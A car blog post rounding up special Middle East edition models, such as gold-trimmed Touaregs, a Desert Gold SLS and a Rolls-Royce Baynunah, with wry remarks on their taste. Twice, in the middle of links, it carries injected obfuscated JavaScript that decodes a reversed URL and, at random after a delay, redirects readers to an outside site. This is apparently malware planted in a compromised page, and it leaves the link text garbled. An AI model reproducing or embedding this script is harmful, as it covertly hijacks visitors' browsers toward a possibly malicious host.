Middle East editions // Taste of Arabia // Or lack of…

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$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20116072/qatar-motor-show-vw-royalty-comes-bearing-gifts/volkswagen-studie-touareg-gold-edition/”>Since the economic crisis kicked in around the world, more focus has been put on the Middle East when it comes to selling cars. We didn’t  get thumped quite as much as the rest of the globe, so manufacturers saw an opportunity to increase their market share in a part of the world that was still spending.

Since then, we’ve seen a plethora of special Middle East edition cars appear from various manufacturers, specifically targeted at the Middle East. Now, while we welcome new cars for us that no one else will get, we can’t help feeling that some of them are perhaps a little wide of the mark when it comes to good taste. There’s more to the region than just white paint and gold trim…

Check out the round up below and let us know what you think by commenting at the bottom of the page.

First up, the Volkswagen Touareg Gold Edition (top and below). Launched at this year’s $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20116072/qatar-motor-show-vw-royalty-comes-bearing-gifts/” target=”_self”>Qatar Motor Show, it’s a standard high-spec Touareg but with gold-flecked white paint and lashings of gold trim inside. Subtle.

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Sticking with the gold theme, Mercedes-Benz splashed out on this Desert Gold SLS AMG for the 2009 Dubai Motor Show. We love the SLS, but is that really necessary?

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This is a bit more like it – the Middle East-only G55 AM Edition 79, which has designo magno alanite grey paint and some subtle chrome and titanium extras.

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Porsche’s Panamera Middle East Edition, also launched at Qatar this year, is typically white, but relatively restrained – a red interior and a plaque mark it out from the regular models.

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The Roush Shamal. A tuned 5.0-litre V8 Mustang for the Middle East, limited to 15 cars. Very nice.

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The Nissan GT-R VVIP. Surprise surprise, it’s white and gold. Real, 24-carat gold. And more than $200,000.

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More gold, from Rolls-Royce this time. The one-off Baynunah features beige (beige?!) and tan paint and a gold-plated Spirit of Ecstasy figure on the front.

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If you like your Rolls to look like a bird, how about the Shaheen Phantom Coupe? It’s got a red and falcon interior… Check the headrests. Mmm.

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